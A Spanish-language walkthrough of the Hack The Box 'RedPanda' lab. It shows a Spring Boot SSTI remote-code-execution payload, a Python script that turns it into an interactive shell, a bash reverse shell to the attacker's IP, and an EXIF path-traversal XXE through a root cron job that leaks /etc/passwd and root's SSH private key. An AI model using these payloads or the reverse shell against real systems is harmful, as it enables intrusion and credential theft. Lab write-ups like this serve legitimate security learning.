Table of Contents
Hack The Box: RedPanda Writeup
Welcome to my detailed writeup of the easy difficulty machine “RedPanda” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.
TCP Enumeration
1$ rustscan -a 10.129.227.207 --ulimit 5000 -g
210.129.227.207 -> [22,8080]
1$ nmap -p22,8080 -sCV 10.129.227.207 -oN allPorts
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-02 21:19 CEST
3Nmap scan report for 10.129.227.207
4Host is up (0.036s latency).
5
6PORT STATE SERVICE VERSION
722/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
8| ssh-hostkey:
9| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
10| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
11|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
128080/tcp open http-proxy
13|_http-title: Red Panda Search | Made with Spring Boot
14| fingerprint-strings:
15| GetRequest:
16| HTTP/1.1 200
17| Content-Type: text/html;charset=UTF-8
18| Content-Language: en-US
19| Date: Fri, 02 Aug 2024 17:20:08 GMT
20| Connection: close
21| <!DOCTYPE html>
22| <html lang="en" dir="ltr">
23| <head>
24| <meta charset="utf-8">
25| <meta author="wooden_k">
26| <!--Codepen by khr2003: https://codepen.io/khr2003/pen/BGZdXw -->
27| <link rel="stylesheet" href="css/panda.css" type="text/css">
28| <link rel="stylesheet" href="css/main.css" type="text/css">
29| <title>Red Panda Search | Made with Spring Boot</title>
30| </head>
31| <body>
32| <div class='pande'>
33| <div class='ear left'></div>
34| <div class='ear right'></div>
35| <div class='whiskers left'>
36| <span></span>
37| <span></span>
38| <span></span>
39| </div>
40| <div class='whiskers right'>
41| <span></span>
42| <span></span>
43| <span></span>
44| </div>
45| <div class='face'>
46| <div class='eye
47| HTTPOptions:
48| HTTP/1.1 200
49| Allow: GET,HEAD,OPTIONS
50| Content-Length: 0
51| Date: Fri, 02 Aug 2024 17:20:08 GMT
52| Connection: close
53| RTSPRequest:
54| HTTP/1.1 400
55| Content-Type: text/html;charset=utf-8
56| Content-Language: en
57| Content-Length: 435
58| Date: Fri, 02 Aug 2024 17:20:08 GMT
59| Connection: close
60| <!doctype html><html lang="en"><head><title>HTTP Status 400
61| Request</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 400
62|_ Request</h1></body></html>
631 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
64SF-Port8080-TCP:V=7.94SVN%I=7%D=8/2%Time=66AD3154%P=x86_64-pc-linux-gnu%r(
65SF:GetRequest,690,"HTTP/1\.1\x20200\x20\r\nContent-Type:\x20text/html;char
66SF:set=UTF-8\r\nContent-Language:\x20en-US\r\nDate:\x20Fri,\x2002\x20Aug\x
67SF:202024\x2017:20:08\x20GMT\r\nConnection:\x20close\r\n\r\n<!DOCTYPE\x20h
68SF:tml>\n<html\x20lang=\"en\"\x20dir=\"ltr\">\n\x20\x20<head>\n\x20\x20\x2
69SF:0\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20<meta\x20author=\"woo
70SF:den_k\">\n\x20\x20\x20\x20<!--Codepen\x20by\x20khr2003:\x20https://code
71SF:pen\.io/khr2003/pen/BGZdXw\x20-->\n\x20\x20\x20\x20<link\x20rel=\"style
72SF:sheet\"\x20href=\"css/panda\.css\"\x20type=\"text/css\">\n\x20\x20\x20\
73SF:x20<link\x20rel=\"stylesheet\"\x20href=\"css/main\.css\"\x20type=\"text
74SF:/css\">\n\x20\x20\x20\x20<title>Red\x20Panda\x20Search\x20\|\x20Made\x2
75SF:0with\x20Spring\x20Boot</title>\n\x20\x20</head>\n\x20\x20<body>\n\n\x2
76SF:0\x20\x20\x20<div\x20class='pande'>\n\x20\x20\x20\x20\x20\x20<div\x20cl
77SF:ass='ear\x20left'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='ear\x2
78SF:0right'></div>\n\x20\x20\x20\x20\x20\x20<div\x20class='whiskers\x20left
79SF:'>\n\x20\x20\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20
80SF:\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20
81SF:\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20</div>\n\x20\x20\x20
82SF:\x20\x20\x20<div\x20class='whiskers\x20right'>\n\x20\x20\x20\x20\x20\x2
83SF:0\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n
84SF:\x20\x20\x20\x20\x20\x20\x20\x20<span></span>\n\x20\x20\x20\x20\x20\x20
85SF:</div>\n\x20\x20\x20\x20\x20\x20<div\x20class='face'>\n\x20\x20\x20\x20
86SF:\x20\x20\x20\x20<div\x20class='eye")%r(HTTPOptions,75,"HTTP/1\.1\x20200
87SF:\x20\r\nAllow:\x20GET,HEAD,OPTIONS\r\nContent-Length:\x200\r\nDate:\x20
88SF:Fri,\x2002\x20Aug\x202024\x2017:20:08\x20GMT\r\nConnection:\x20close\r\
89SF:n\r\n")%r(RTSPRequest,24E,"HTTP/1\.1\x20400\x20\r\nContent-Type:\x20tex
90SF:t/html;charset=utf-8\r\nContent-Language:\x20en\r\nContent-Length:\x204
91SF:35\r\nDate:\x20Fri,\x2002\x20Aug\x202024\x2017:20:08\x20GMT\r\nConnecti
92SF:on:\x20close\r\n\r\n<!doctype\x20html><html\x20lang=\"en\"><head><title
93SF:>HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</title><style\
94SF:x20type=\"text/css\">body\x20{font-family:Tahoma,Arial,sans-serif;}\x20
95SF:h1,\x20h2,\x20h3,\x20b\x20{color:white;background-color:#525D76;}\x20h1
96SF:\x20{font-size:22px;}\x20h2\x20{font-size:16px;}\x20h3\x20{font-size:14
97SF:px;}\x20p\x20{font-size:12px;}\x20a\x20{color:black;}\x20\.line\x20{hei
98SF:ght:1px;background-color:#525D76;border:none;}</style></head><body><h1>
99SF:HTTP\x20Status\x20400\x20\xe2\x80\x93\x20Bad\x20Request</h1></body></ht
100SF:ml>");
101Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
102
103Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
104Nmap done: 1 IP address (1 host up) scanned in 16.95 seconds
UDP Enumeration
1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.227.207 -oN allPorts.UDP
2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-08-02 21:20 CEST
3Nmap scan report for 10.129.227.207
4Host is up (0.036s latency).
5Not shown: 1495 open|filtered udp ports (no-response)
6PORT STATE SERVICE
753/udp closed domain
81025/udp closed blackjack
919718/udp closed unknown
1024388/udp closed unknown
1157977/udp closed unknown
Solo vemos los puertos 22/TCP y 8080/TCP Así que la vía de explotación debe de ser por el servicio web.
Foothold
1$ whatweb http://10.129.227.207:8080
2http://10.129.227.207:8080 [200 OK] Content-Language[en-US], Country[RESERVED][ZZ], HTML5, IP[10.129.227.207], Title[Red Panda Search | Made with Spring Boot]
Sabemos que la aplicación web está hecha en Spring Boot, Java.
Vemos que tiene una funcionalidad de búsqueda y mi input se representa en pantalla, esto ya me hace pensar en intentar realizar un SSTI.
Parece que tiene un filtro de caracteres.
Pero reemplazando el $
por *
, ya que en Spring se puede realizar “templates” con ese formato, conseguimos que se interprete código, confirmando el SSTI.
Utilizando un payload de PayloadAllTheThings
*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
Tenemos RCE como el usuario woodenk
Por consola…
1$ curl -s -X POST http://10.129.227.207:8080/search --data "name=*%7BT%28org.apache.commons.io.IOUtils%29.toString%28T%28java.lang.Runtime%29.getRuntime%28%29.exec%28%27id%27%29.getInputStream%28%29%29%7D" | html2text
2[name ]
3***** You searched for: uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000
4(woodenk) *****
5***** There are 0 results for your search *****
Scripting the SSTI
Inspirándome del gran s4vitar, me apetecía hacer un script en Python para automatizar el SSTI.
1import requests
2from bs4 import BeautifulSoup
3import signal
4from prompt_toolkit import PromptSession
5from prompt_toolkit.keys import Keys
6
7ENDPOINT_URL = "http://10.129.227.207:8080/search"
8
9def def_handler(x,y):
10 print("\n[+] Saliendo...")
11 exit(1)
12
13signal.signal(signal.SIGINT, def_handler)
14
15
16def ssti(command):
17 headers = {
18 "Content-Type": "application/x-www-form-urlencoded"
19 }
20 payload = "*{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('<COMMAND>').getInputStream())}"
21 data = {
22 "name": payload.replace("<COMMAND>", command)
23 }
24 r = requests.post(ENDPOINT_URL, headers = headers, data=data)
25 soup = BeautifulSoup(r.text, 'html.parser')
26 output = soup.find('h2', class_='searched').text.replace('You searched for: ', '')
27 output
28 print(output)
29
30if __name__ == "__main__":
31 session = PromptSession()
32 while True:
33 try:
34 cmd = session.prompt('> ')
35 if cmd == 'q': # Salir
36 def_handler(1,1)
37 ssti(cmd)
38 except KeyboardInterrupt:
39 break
De esta forma obtenemos una pseudo-consola a través del SSTI.
1$ python3 ssti.py
2> whoami
3woodenk
4
5> id
6uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
7
8> ip a
91: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
10 link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
11 inet 127.0.0.1/8 scope host lo
12 valid_lft forever preferred_lft forever
13 inet6 ::1/128 scope host
14 valid_lft forever preferred_lft forever
152: eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
16 link/ether 00:50:56:94:46:df brd ff:ff:ff:ff:ff:ff
17 inet 10.129.227.207/16 brd 10.129.255.255 scope global dynamic eth0
18 valid_lft 3560sec preferred_lft 3560sec
19 inet6 dead:beef::250:56ff:fe94:46df/64 scope global dynamic mngtmpaddr
20 valid_lft 86399sec preferred_lft 14399sec
21 inet6 fe80::250:56ff:fe94:46df/64 scope link
22 valid_lft forever preferred_lft forever
23
24>
Podemos encontrar la flag en /home/woodenk/user.txt
1> cat /home/woodenk/user.txt
26abbc8d3fda37801....
Privilege Escalation
Como no hay otro usuario a parte de root
, supongo que no habrá que hacer User Pivoting.
Antes de escalar, voy a mandarme una full tty.
1#!/bin/bash
2#rev.sh
3
4bash -c "bash -i >& /dev/tcp/10.10.14.80/443 0>&1"
1> wget http://10.10.14.80:8081/rev.sh
2
3> dir
4883 rev.sh
5
6> chmod +x rev.sh
7
8> ./rev.sh
Me llama la atención que estemos en un grupo llamado logs
1woodenk@redpanda:/tmp/hsperfdata_woodenk$ id
2id
3uid=1000(woodenk) gid=1001(logs) groups=1001(logs),1000(woodenk)
Encontramos un directorio /credits
con unos archivos un tanto extraños
1<?xml version="1.0" encoding="UTF-8"?>
2<credits>
3 <author>damian</author>
4 <image>
5 <uri>/img/angy.jpg</uri>
6 <views>0</views>
7 </image>
8 <image>
9 <uri>/img/shy.jpg</uri>
10 <views>0</views>
11 </image>
12 <image>
13 <uri>/img/crafty.jpg</uri>
14 <views>0</views>
15 </image>
16 <image>
17 <uri>/img/peter.jpg</uri>
18 <views>0</views>
19 </image>
20 <totalviews>0</totalviews>
21</credits>
Pertenecen al grupo logs
-rw-r----- 1 root logs 422 Jun 21 2022 damian_creds.xml
-rw-r----- 1 root logs 426 Jun 21 2022 woodenk_creds.xml
Encontramos un proyecto nuevo en Java, LogParser
El archivo main de este proyecto es el siguiente.
1package com.logparser;
2import java.io.BufferedWriter;
3import java.io.File;
4import java.io.FileWriter;
5import java.io.IOException;
6import java.util.HashMap;
7import java.util.Map;
8import java.util.Scanner;
9
10import com.drew.imaging.jpeg.JpegMetadataReader;
11import com.drew.imaging.jpeg.JpegProcessingException;
12import com.drew.metadata.Directory;
13import com.drew.metadata.Metadata;
14import com.drew.metadata.Tag;
15
16import org.jdom2.JDOMException;
17import org.jdom2.input.SAXBuilder;
18import org.jdom2.output.Format;
19import org.jdom2.output.XMLOutputter;
20import org.jdom2.*;
21
22public class App {
23 public static Map parseLog(String line) {
24 String[] strings = line.split("\\|\\|");
25 Map map = new HashMap<>();
26 map.put("status_code", Integer.parseInt(strings[0]));
27 map.put("ip", strings[1]);
28 map.put("user_agent", strings[2]);
29 map.put("uri", strings[3]);
30
31
32 return map;
33 }
34 public static boolean isImage(String filename){
35 if(filename.contains(".jpg"))
36 {
37 return true;
38 }
39 return false;
40 }
41 public static String getArtist(String uri) throws IOException, JpegProcessingException
42 {
43 String fullpath = "/opt/panda_search/src/main/resources/static" + uri;
44 File jpgFile = new File(fullpath);
45 Metadata metadata = JpegMetadataReader.readMetadata(jpgFile);
46 for(Directory dir : metadata.getDirectories())
47 {
48 for(Tag tag : dir.getTags())
49 {
50 if(tag.getTagName() == "Artist")
51 {
52 return tag.getDescription();
53 }
54 }
55 }
56
57 return "N/A";
58 }
59 public static void addViewTo(String path, String uri) throws JDOMException, IOException
60 {
61 SAXBuilder saxBuilder = new SAXBuilder();
62 XMLOutputter xmlOutput = new XMLOutputter();
63 xmlOutput.setFormat(Format.getPrettyFormat());
64
65 File fd = new File(path);
66
67 Document doc = saxBuilder.build(fd);
68
69 Element rootElement = doc.getRootElement();
70
71 for(Element el: rootElement.getChildren())
72 {
73
74
75 if(el.getName() == "image")
76 {
77 if(el.getChild("uri").getText().equals(uri))
78 {
79 Integer totalviews = Integer.parseInt(rootElement.getChild("totalviews").getText()) + 1;
80 System.out.println("Total views:" + Integer.toString(totalviews));
81 rootElement.getChild("totalviews").setText(Integer.toString(totalviews));
82 Integer views = Integer.parseInt(el.getChild("views").getText());
83 el.getChild("views").setText(Integer.toString(views + 1));
84 }
85 }
86 }
87 BufferedWriter writer = new BufferedWriter(new FileWriter(fd));
88 xmlOutput.output(doc, writer);
89 }
90 public static void main(String[] args) throws JDOMException, IOException, JpegProcessingException {
91 File log_fd = new File("/opt/panda_search/redpanda.log");
92 Scanner log_reader = new Scanner(log_fd);
93 while(log_reader.hasNextLine())
94 {
95 String line = log_reader.nextLine();
96 if(!isImage(line))
97 {
98 continue;
99 }
100 Map parsed_data = parseLog(line);
101 System.out.println(parsed_data.get("uri"));
102 String artist = getArtist(parsed_data.get("uri").toString());
103 System.out.println("Artist: " + artist);
104 String xmlPath = "/credits/" + artist + "_creds.xml";
105 addViewTo(xmlPath, parsed_data.get("uri").toString());
106 }
107
108 }
109}
Vemos que se están almacenando logs en /opt/panda_search_redpanda.log
1cat redpanda.log
2
3404||10.10.14.80||Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0||/cualquiera
4404||10.10.14.80||Mozilla/5.0 (X11; Linux x86_64; rv:128.0) Gecko/20100101 Firefox/128.0||/error
Lee el campo Artist
de los metadatos de una imagen JPG que se almacena en /opt/panda_search/src/main/resources/static
Luego crea un archivo XML representando varios campos
En el main, se utiliza el nombre extraido de los metadatos para crear una ruta NOMBRE_creds.xml
, que pasa al método addViewTo
Luego addViewTo
parsea el XML, incrementando las visitas relacionadas con el autor de dicha imagen y escribe el archivo de vuelta.
Detalle de la aplicación:
Método
parseLog(String line)
:- Función: Divide una línea de registro en partes usando el delimitador
||
y almacena los valores en unMap
. - Contenido del
Map
:"status_code"
: Código de estado (entero)."ip"
: Dirección IP."user_agent"
: Agente de usuario."uri"
: URI del recurso.
- Función: Divide una línea de registro en partes usando el delimitador
Método
isImage(String filename)
:- Función: Verifica si el archivo tiene una extensión
.jpg
. Retornatrue
si es una imagen JPEG,false
de lo contrario.
- Función: Verifica si el archivo tiene una extensión
Método
getArtist(String uri)
:- Función: Lee los metadatos EXIF de una imagen JPEG y busca el nombre del artista en los datos.
- Ruta del archivo: Construye la ruta del archivo utilizando el URI proporcionado y lee el archivo JPEG.
- Retorno: Devuelve el nombre del artista si se encuentra, o
"N/A"
si no se encuentra el campo de artista.
Método
addViewTo(String path, String uri)
:- Función: Actualiza el contador de visualizaciones en un archivo XML dado el URI de la imagen.
- Proceso:
- Lee el archivo XML y lo analiza.
- Busca el elemento
<image>
cuyo<uri>
coincida con el URI proporcionado. - Incrementa el conteo de visualizaciones para esa imagen y para el total de visualizaciones.
- Escribe los cambios de vuelta al archivo XML.
Método
main(String[] args)
:- Función: El punto de entrada del programa.
- Proceso:
- Lee el archivo de registro (
redpanda.log
). - Procesa cada línea para determinar si corresponde a una imagen.
- Si es una imagen, extrae la URI y busca el nombre del artista.
- Actualiza el archivo XML correspondiente al artista con el nuevo conteo de visualizaciones.
- Lee el archivo de registro (
Ejecución y Flujo de Datos
Lectura del Log: Se lee línea por línea desde
redpanda.log
. Cada línea es analizada para extraer detalles como el URI de la imagen.Verificación de Imagen: Se verifica si el URI corresponde a un archivo JPEG.
Extracción de Artista: Si es una imagen, se obtiene el nombre del artista desde los metadatos EXIF de la imagen.
Actualización del XML: Se actualiza el archivo XML asociado con el artista para reflejar el nuevo número de visualizaciones de la imagen.
Como nosotros controlamos el campo Artist
de la imagen, podríamos realizar un XXE
, pero claro, de nada me sirve si root
no ejecuta este script.
Y como me esperaba, hay una tarea CRON que ejecuta root
donde cada X tiempo se ejecuta este archivo .jar
Recapitulado, necesito que al método addViewTo
se pase un archivo que yo controlo, así podría acontecer un XXE y leer archivo como root
.
Para controlar la ruta al archivo XML, necesito control del campo Artist
de los metadatos de algún JPG asociado.
Bien, primero vamos a coger el archivo export.xml
y nos lo vamos a guardar para añadir el payload para cargar /etc/passwd
para hacer esta PoC.
Esto no lo he añadido, pero este export.xml
viene de la aplicación web.
Del archivo MainController.java
Tiene este endpoint.
1@GetMapping(value="/export.xml", produces = MediaType.APPLICATION_OCTET_STREAM_VALUE)
2 public @ResponseBody byte[] exportXML(@RequestParam(name="author", defaultValue="err") String author) throws IOException {
3
4 System.out.println("Exporting xml of: " + author);
5 if(author.equals("woodenk") || author.equals("damian"))
6 {
7 InputStream in = new FileInputStream("/credits/" + author + "_creds.xml");
8 System.out.println(in);
9 return IOUtils.toByteArray(in);
10 }
11 else
12 {
13 return IOUtils.toByteArray("Error, incorrect paramenter 'author'\n\r");
14 }
15 }
1$ curl -s http://10.129.227.207:8080/export.xml?author=woodenk > export.xml
Introducimos el típico payload XXE.
Ahora nos tenemos que descargar alguna de las imagenes para modificar los metadatos.
1$ wget http://10.129.227.207:8080/img/greg.jpg
1$ exiftool greg.jpg
2ExifTool Version Number : 12.57
3File Name : greg.jpg
4Directory : .
5File Size : 103 kB
6File Modification Date/Time : 2022:06:22 11:07:03+02:00
7File Access Date/Time : 2024:08:02 22:18:54+02:00
8File Inode Change Date/Time : 2024:08:02 22:18:54+02:00
9File Permissions : -rw-r--r--
10File Type : JPEG
11File Type Extension : jpg
12MIME Type : image/jpeg
13Exif Byte Order : Big-endian (Motorola, MM)
14Orientation : Horizontal (normal)
15Artist : woodenk
16XMP Toolkit : XMP Core 4.4.0-Exiv2
17Document ID : gimp:docid:gimp:fdfbabec-5c75-44cd-9abc-0660f147312c
18Instance ID : xmp.iid:fa5469f5-219c-4d11-9329-67019e8b46d5
19Original Document ID : xmp.did:3401fe2c-71a5-4894-895f-8a9822ccfb45
20Api : 2.0
21Platform : Windows
22Time Stamp : 1617795171484223
23Version : 2.10.22
24Format : image/jpeg
25Creator Tool : GIMP 2.10
26Location Created :
27Location Shown :
28Artwork Or Object :
29Registry ID :
30History Action : saved
31History Changed : /
32History Instance ID : xmp.iid:0a506af3-72a2-4843-8711-8117fc9329b9
33History Software Agent : Gimp 2.10 (Windows)
34History When : 2021:04:07 12:32:51
35Image Supplier :
36Image Creator :
37Copyright Owner :
38Licensor :
39Profile CMM Type : Little CMS
40Profile Version : 4.3.0
41Profile Class : Display Device Profile
42Color Space Data : RGB
43Profile Connection Space : XYZ
44Profile Date Time : 2021:04:07 11:29:52
45Profile File Signature : acsp
46Primary Platform : Microsoft Corporation
47CMM Flags : Not Embedded, Independent
48Device Manufacturer :
49Device Model :
50Device Attributes : Reflective, Glossy, Positive, Color
51Rendering Intent : Perceptual
52Connection Space Illuminant : 0.9642 1 0.82491
53Profile Creator : Little CMS
54Profile ID : 0
55Profile Description : GIMP built-in sRGB
56Profile Copyright : Public Domain
57Media White Point : 0.9642 1 0.82491
58Chromatic Adaptation : 1.04788 0.02292 -0.05022 0.02959 0.99048 -0.01707 -0.00925 0.01508 0.75168
59Red Matrix Column : 0.43604 0.22249 0.01392
60Blue Matrix Column : 0.14305 0.06061 0.71393
61Green Matrix Column : 0.38512 0.7169 0.09706
62Red Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)
63Green Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)
64Blue Tone Reproduction Curve : (Binary data 32 bytes, use -b option to extract)
65Chromaticity Channels : 3
66Chromaticity Colorant : Unknown
67Chromaticity Channel 1 : 0.64 0.33002
68Chromaticity Channel 2 : 0.3 0.60001
69Chromaticity Channel 3 : 0.15001 0.06
70Device Mfg Desc : GIMP
71Device Model Desc : sRGB
72Image Width : 600
73Image Height : 720
74Encoding Process : Progressive DCT, Huffman coding
75Bits Per Sample : 8
76Color Components : 3
77Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
78Image Size : 600x720
79Megapixels : 0.432
Ahora editamos el campo Artist
para hacer el Path Traversal para poder cargar el pointed_creds.xml
y no el que debería de cargar.
1$ exiftool -Artist="../../../../../tmp/pointed" pointed.jpg
2Warning: [minor] Ignored empty rdf:Bag list for Iptc4xmpExt:LocationCreated - pointed.jpg
3 1 image files updated
1$ exiftool pointed.jpg | grep Artist
2Artist : ../../../../../tmp/pointed
Ahora nos descargamos la imagen y el XML con el payload en la máquina víctima en el directorio /tmp/
1woodenk@redpanda:/tmp$ wget http://10.10.14.80:8081/pointed.jpg
1woodenk@redpanda:/tmp$ wget http://10.10.14.80:8081/pointed_creds.xml
Y solo falta modificar el User-Agent
para poder escribir el log malicioso.
Aunque debe de ser una petición existosa.
Así que vamos a modificar el log directamente ya que tenemos acceso a la máquina víctima y permisos para poder modificar el archivo redpanda.log
1woodenk@redpanda:/opt/panda_search$ echo '200||10.10.14.80||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/../../../../../../tmp/pointed.jpg' > redpanda.log
2<|/../../../../../../tmp/pointed.jpg' > redpanda.log
3woodenk@redpanda:/opt/panda_search$ cat redpanda.log
4cat redpanda.log
5200||10.10.14.80||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/../../../../../../tmp/pointed.jpg
6woodenk@redpanda:/opt/panda_search$
Ahora cuando se ejecute la tarea CRON, lo que pasará es que al parsearse el log, la URL valdrá /../../../../../../../tmp/pointed.jpg
Esto hará que se cree un path
en /opt/panda_search/src/main/resources/static/../../../../../../../tmp/pointed.jpg
Luego se leerá el metadato de la imagen que es ../../../../../../tmp/pointed
y creará la ruta /credits/../tmp/pointed_creds.xml
Esto leerá el XML con el payload por lo cual leerá el contenido del /etc/passwd
y al intentar incrementar en “1” las visitas, se exportará el /etc/passwd
en el campo.
1woodenk@redpanda:/tmp$ cat pointed_creds.xml
2cat pointed_creds.xml
3<?xml version="1.0" encoding="UTF-8"?>
4<!DOCTYPE root>
5<credits>
6 <author>pointed</author>
7 <image>
8 <uri>../../../../../../../pointed.jpg</uri>
9 <views>root:x:0:0:root:/root:/bin/bash
10daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
11bin:x:2:2:bin:/bin:/usr/sbin/nologin
12sys:x:3:3:sys:/dev:/usr/sbin/nologin
13sync:x:4:65534:sync:/bin:/bin/sync
14games:x:5:60:games:/usr/games:/usr/sbin/nologin
15man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
16lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
17mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
18news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
19uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
20proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
21www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
22backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
23list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
24irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
25gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
26nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
27systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
28systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
29systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
30messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
31syslog:x:104:110::/home/syslog:/usr/sbin/nologin
32_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
33tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
34uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
35tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
36landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
37pollinate:x:110:1::/var/cache/pollinate:/bin/false
38sshd:x:111:65534::/run/sshd:/usr/sbin/nologin
39systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
40lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
41usbmux:x:112:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
42woodenk:x:1000:1000:,,,:/home/woodenk:/bin/bash
43mysql:x:113:118:MySQL Server,,,:/nonexistent:/bin/false</views>
44 </image>
45 <totalviews>1</totalviews>
46</credits>
Y se acontece perfectamente el XXE.
Ahora vamos a intentar leer la id_rsa del usuario root
, a ver si existe.
Solamente modificamos el archivo a leer
Agregamos de nuevo el log…
1woodenk@redpanda:/opt/panda_search$ echo '200||10.10.14.80||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/../../../../../../tmp/pointed.jpg' > redpanda.log
2<|/../../../../../../tmp/pointed.jpg' > redpanda.log
3woodenk@redpanda:/opt/panda_search$ cat redpanda.log
4cat redpanda.log
5200||10.10.14.80||Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0||/../../../../../../tmp/pointed.jpg
6woodenk@redpanda:/opt/panda_search$
Y si leemos el archivo /tmp/pointed_creds.xml
de nuevo…
1woodenk@redpanda:/opt/panda_search$ cat /tmp/pointed_creds.xml
2cat /tmp/pointed_creds.xml
3<?xml version="1.0" encoding="UTF-8"?>
4<!DOCTYPE root>
5<credits>
6 <author>pointed</author>
7 <image>
8 <uri>../../../../../../../pointed.jpg</uri>
9 <views>-----BEGIN OPENSSH PRIVATE KEY-----
10b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
11QyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQAAAJBRbb26UW29
12ugAAAAtzc2gtZWQyNTUxOQAAACDeUNPNcNZoi+AcjZMtNbccSUcDUZ0OtGk+eas+bFezfQ
13AAAECj9KoL1KnAlvQDz93ztNrROky2arZpP8t8UgdfLI0HvN5Q081w1miL4ByNky01txxJ
14RwNRnQ60aT55qz5sV7N9AAAADXJvb3RAcmVkcGFuZGE=
15-----END OPENSSH PRIVATE KEY-----</views>
16 </image>
17 <totalviews>1</totalviews>
18</credits>
Ya simplemente accedemos como root
a la máquina víctima.
1┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/redpanda/content]
2└──╼ [★]$ micro id_rsa
3┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/redpanda/content]
4└──╼ [★]$ chmod 600 id_rsa
5┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/redpanda/content]
6└──╼ [★]$ ssh root@10.129.227.207 -i id_rsa
7....
8
9root@redpanda:~# whoami
10root
11root@redpanda:~#
Y ya podríamos leer la flag.
1root@redpanda:~# cat root.txt
2885458dc9ef800f1...
Happy Hacking! 🚀
#HackTheBox #RedPanda #Writeup #Cybersecurity #Penetration Testing #CTF #Reverse Shell #Privilege Escalation #SSTI #Linux #XXE #Spring Boot #Abusing Cron #Scripting #Information Leakage #Abusing Java Application